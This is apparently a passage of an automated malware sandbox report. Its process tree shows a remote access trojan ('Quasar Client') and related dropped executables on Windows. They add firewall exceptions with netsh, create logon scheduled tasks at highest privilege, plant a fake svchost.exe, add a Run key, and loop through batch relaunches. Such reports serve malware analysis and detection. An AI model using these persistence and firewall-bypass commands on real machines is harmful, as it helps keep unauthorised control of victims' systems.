                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                                                          20⤵
                                                                                                                                                                                                            PID:3296
                                                                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                              netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                                                              21⤵
                                                                                                                                                                                                              • Modifies Windows Firewall
                                                                                                                                                                                                              PID:3728
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                                                              21⤵
                                                                                                                                                                                                                PID:5884
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                                                                  22⤵
                                                                                                                                                                                                                    PID:5204
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                                                                      23⤵
                                                                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                                                                      PID:4980
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                                                                      23⤵
                                                                                                                                                                                                                        PID:4184
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                                                                          24⤵
                                                                                                                                                                                                                            PID:3876
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                              netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                                                                              25⤵
                                                                                                                                                                                                                              • Modifies Windows Firewall
                                                                                                                                                                                                                              PID:916
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                                                                              25⤵
                                                                                                                                                                                                                                PID:5644
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                                                                                  26⤵
                                                                                                                                                                                                                                    PID:2908
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                                                                                      27⤵
                                                                                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                                                                                      PID:5272
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                                                                                      27⤵
                                                                                                                                                                                                                                        PID:32
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                                                                                          28⤵
                                                                                                                                                                                                                                            PID:1884
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                              netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                                                                                              29⤵
                                                                                                                                                                                                                                              • Modifies Windows Firewall
                                                                                                                                                                                                                                              PID:388
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                                                                                              29⤵
                                                                                                                                                                                                                                                PID:3948
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                                                                                                  30⤵
                                                                                                                                                                                                                                                    PID:5620
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                                      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                                                                                                      31⤵
                                                                                                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                                                                                                      PID:5808
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                                                                                                      31⤵
                                                                                                                                                                                                                                                        PID:6396
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                                                                                                          32⤵
                                                                                                                                                                                                                                                            PID:6632
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                                              netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                                                                                                              33⤵
                                                                                                                                                                                                                                                              • Modifies Windows Firewall
                                                                                                                                                                                                                                                              PID:6836
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                                                                                                              33⤵
                                                                                                                                                                                                                                                                PID:2840
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                                                                                                                  34⤵
                                                                                                                                                                                                                                                                    PID:6228
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                                                      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                                                                                                                      35⤵
                                                                                                                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                                                                                                                      PID:7092
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\Client.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\Client.exe"
                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                          PID:5764
                                                                                                                                                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                            "schtasks" /create /tn "Windows Shell Interactive" /sc ONLOGON /tr "C:\Windows\system32\Windows Shell Interactive.exe" /rl HIGHEST /f
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                            PID:6096
                                                                                                                                                                                                          • C:\Windows\system32\Windows Shell Interactive.exe
                                                                                                                                                                                                            "C:\Windows\system32\Windows Shell Interactive.exe"
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                            PID:1784
                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                              "schtasks" /create /tn "Windows Shell Interactive" /sc ONLOGON /tr "C:\Windows\system32\Windows Shell Interactive.exe" /rl HIGHEST /f
                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                              PID:4624
                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pYjYvn5tI2bC.bat" "
                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                PID:5568
                                                                                                                                                                                                                • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                  chcp 65001
                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                    PID:5732
                                                                                                                                                                                                                  • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                    ping -n 10 localhost
                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                    • Runs ping.exe
                                                                                                                                                                                                                    PID:6104
                                                                                                                                                                                                                  • C:\Windows\system32\Windows Shell Interactive.exe
                                                                                                                                                                                                                    "C:\Windows\system32\Windows Shell Interactive.exe"
                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                      PID:5660
                                                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                        "schtasks" /create /tn "Windows Shell Interactive" /sc ONLOGON /tr "C:\Windows\system32\Windows Shell Interactive.exe" /rl HIGHEST /f
                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                        PID:5716
                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4Y4sBbAK2Iay.bat" "
                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                          PID:4708
                                                                                                                                                                                                                          • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                            chcp 65001
                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                              PID:5252
                                                                                                                                                                                                                            • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                              ping -n 10 localhost
                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                              • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                              • Runs ping.exe
                                                                                                                                                                                                                              PID:5536
                                                                                                                                                                                                                            • C:\Windows\system32\Windows Shell Interactive.exe
                                                                                                                                                                                                                              "C:\Windows\system32\Windows Shell Interactive.exe"
                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                PID:6096
                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                  "schtasks" /create /tn "Windows Shell Interactive" /sc ONLOGON /tr "C:\Windows\system32\Windows Shell Interactive.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                  PID:5308
                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cTeHmVuArX7j.bat" "
                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                    PID:1536
                                                                                                                                                                                                                                    • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                                      chcp 65001
                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                        PID:5408
                                                                                                                                                                                                                                      • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                                        ping -n 10 localhost
                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                        PID:4852
                                                                                                                                                                                                                                      • C:\Windows\system32\Windows Shell Interactive.exe
                                                                                                                                                                                                                                        "C:\Windows\system32\Windows Shell Interactive.exe"
                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                          PID:388
                                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                            "schtasks" /create /tn "Windows Shell Interactive" /sc ONLOGON /tr "C:\Windows\system32\Windows Shell Interactive.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                            PID:5756
                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\STkbwjQU3nJC.bat" "
                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                              PID:3188
                                                                                                                                                                                                                                              • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                                                chcp 65001
                                                                                                                                                                                                                                                14⤵
                                                                                                                                                                                                                                                  PID:5488
                                                                                                                                                                                                                                                • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                                                  ping -n 10 localhost
                                                                                                                                                                                                                                                  14⤵
                                                                                                                                                                                                                                                  • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                                                                                  PID:3256
                                                                                                                                                                                                                                                • C:\Windows\system32\Windows Shell Interactive.exe
                                                                                                                                                                                                                                                  "C:\Windows\system32\Windows Shell Interactive.exe"
                                                                                                                                                                                                                                                  14⤵
                                                                                                                                                                                                                                                    PID:5128
                                                                                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                      "schtasks" /create /tn "Windows Shell Interactive" /sc ONLOGON /tr "C:\Windows\system32\Windows Shell Interactive.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                      15⤵
                                                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                      PID:5744
                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\R1hnPVJFkFhR.bat" "
                                                                                                                                                                                                                                                      15⤵
                                                                                                                                                                                                                                                        PID:5716
                                                                                                                                                                                                                                                        • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                                                          chcp 65001
                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                            PID:5776
                                                                                                                                                                                                                                                          • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                                                            ping -n 10 localhost
                                                                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                                                                            • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                            • Runs ping.exe
                                                                                                                                                                                                                                                            PID:5508
                                                                                                                                                                                                                                                          • C:\Windows\system32\Windows Shell Interactive.exe
                                                                                                                                                                                                                                                            "C:\Windows\system32\Windows Shell Interactive.exe"
                                                                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                                                                              PID:2732
                                                                                                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                "schtasks" /create /tn "Windows Shell Interactive" /sc ONLOGON /tr "C:\Windows\system32\Windows Shell Interactive.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                17⤵
                                                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                PID:5352
                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Pr3EIpxvYrSj.bat" "
                                                                                                                                                                                                                                                                17⤵
                                                                                                                                                                                                                                                                  PID:548
                                                                                                                                                                                                                                                                  • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                                                                    chcp 65001
                                                                                                                                                                                                                                                                    18⤵
                                                                                                                                                                                                                                                                      PID:3544
                                                                                                                                                                                                                                                                    • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                                                                      ping -n 10 localhost
                                                                                                                                                                                                                                                                      18⤵
                                                                                                                                                                                                                                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                      • Runs ping.exe
                                                                                                                                                                                                                                                                      PID:5784
                                                                                                                                                                                                                                                                    • C:\Windows\system32\Windows Shell Interactive.exe
                                                                                                                                                                                                                                                                      "C:\Windows\system32\Windows Shell Interactive.exe"
                                                                                                                                                                                                                                                                      18⤵
                                                                                                                                                                                                                                                                        PID:4108
                                                                                                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                          "schtasks" /create /tn "Windows Shell Interactive" /sc ONLOGON /tr "C:\Windows\system32\Windows Shell Interactive.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                          19⤵
                                                                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                          PID:5860
                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AJ30T8jaWOSg.bat" "
                                                                                                                                                                                                                                                                          19⤵
                                                                                                                                                                                                                                                                            PID:2228
                                                                                                                                                                                                                                                                            • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                                                                              chcp 65001
                                                                                                                                                                                                                                                                              20⤵
                                                                                                                                                                                                                                                                                PID:5508
                                                                                                                                                                                                                                                                              • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                                                                                ping -n 10 localhost
                                                                                                                                                                                                                                                                                20⤵
                                                                                                                                                                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                                                                                                                                PID:1100
                                                                                                                                                                                                                                                                              • C:\Windows\system32\Windows Shell Interactive.exe
                                                                                                                                                                                                                                                                                "C:\Windows\system32\Windows Shell Interactive.exe"
                                                                                                                                                                                                                                                                                20⤵
                                                                                                                                                                                                                                                                                  PID:1968
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                    "schtasks" /create /tn "Windows Shell Interactive" /sc ONLOGON /tr "C:\Windows\system32\Windows Shell Interactive.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                    21⤵
                                                                                                                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                    PID:240
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rRT0VhWq6BCO.bat" "
                                                                                                                                                                                                                                                                                    21⤵
                                                                                                                                                                                                                                                                                      PID:4776
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                                                                                        chcp 65001
                                                                                                                                                                                                                                                                                        22⤵
                                                                                                                                                                                                                                                                                          PID:3948
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                                                                                          ping -n 10 localhost
                                                                                                                                                                                                                                                                                          22⤵
                                                                                                                                                                                                                                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                                          • Runs ping.exe
                                                                                                                                                                                                                                                                                          PID:2644
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\Windows Shell Interactive.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\system32\Windows Shell Interactive.exe"
                                                                                                                                                                                                                                                                                          22⤵
                                                                                                                                                                                                                                                                                            PID:1116
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                              "schtasks" /create /tn "Windows Shell Interactive" /sc ONLOGON /tr "C:\Windows\system32\Windows Shell Interactive.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                              23⤵
                                                                                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                              PID:1452
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Sbt3RCPfnVaU.bat" "
                                                                                                                                                                                                                                                                                              23⤵
                                                                                                                                                                                                                                                                                                PID:5760
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                                                                                                  chcp 65001
                                                                                                                                                                                                                                                                                                  24⤵
                                                                                                                                                                                                                                                                                                    PID:6248
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                                                                                                    ping -n 10 localhost
                                                                                                                                                                                                                                                                                                    24⤵
                                                                                                                                                                                                                                                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                                                    • Runs ping.exe
                                                                                                                                                                                                                                                                                                    PID:6616
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\Windows Shell Interactive.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\Windows Shell Interactive.exe"
                                                                                                                                                                                                                                                                                                    24⤵
                                                                                                                                                                                                                                                                                                      PID:6156
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                        "schtasks" /create /tn "Windows Shell Interactive" /sc ONLOGON /tr "C:\Windows\system32\Windows Shell Interactive.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                        25⤵
                                                                                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                        PID:6408
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1ep3FYeec4t1.bat" "
                                                                                                                                                                                                                                                                                                        25⤵
                                                                                                                                                                                                                                                                                                          PID:6532
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                                                                                                            chcp 65001
                                                                                                                                                                                                                                                                                                            26⤵
                                                                                                                                                                                                                                                                                                              PID:5632
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\jij.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\jij.exe"
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                    PID:6020
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\333.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\333.exe"
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                    PID:5268
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\CondoGenerator.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\CondoGenerator.exe"
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                      PID:2808
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                        "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                        PID:2508
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                          PID:5028
                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                            "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                            PID:4600
                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iTPks6k2P1G3.bat" "
                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                              PID:5392
                                                                                                                                                                                                                                                                              • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                                                                                chcp 65001
                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                  PID:2064
                                                                                                                                                                                                                                                                                • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                                                                                  ping -n 10 localhost
                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                  • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                                                                                                                  PID:4796
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                    PID:1444
                                                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                      "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                      PID:5340
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\PVFykXaqQZRP.bat" "
                                                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                                                        PID:5848
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                                                                                          chcp 65001
                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                            PID:4720
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                                                                                            ping -n 10 localhost
                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                            • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                                            • Runs ping.exe
                                                                                                                                                                                                                                                                                            PID:3000
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                              PID:1644
                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                                "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                PID:3084
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wYh2pXctrA5S.bat" "
                                                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                                                  PID:6360
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                                                                                                    chcp 65001
                                                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                                                      PID:6524
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                                                                                                      ping -n 10 localhost
                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                                                      • Runs ping.exe
                                                                                                                                                                                                                                                                                                      PID:6740
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                        PID:6160
                                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                                          "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                          PID:6716
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\djL4mZSxGqbH.bat" "
                                                                                                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                                                                                                            PID:7008
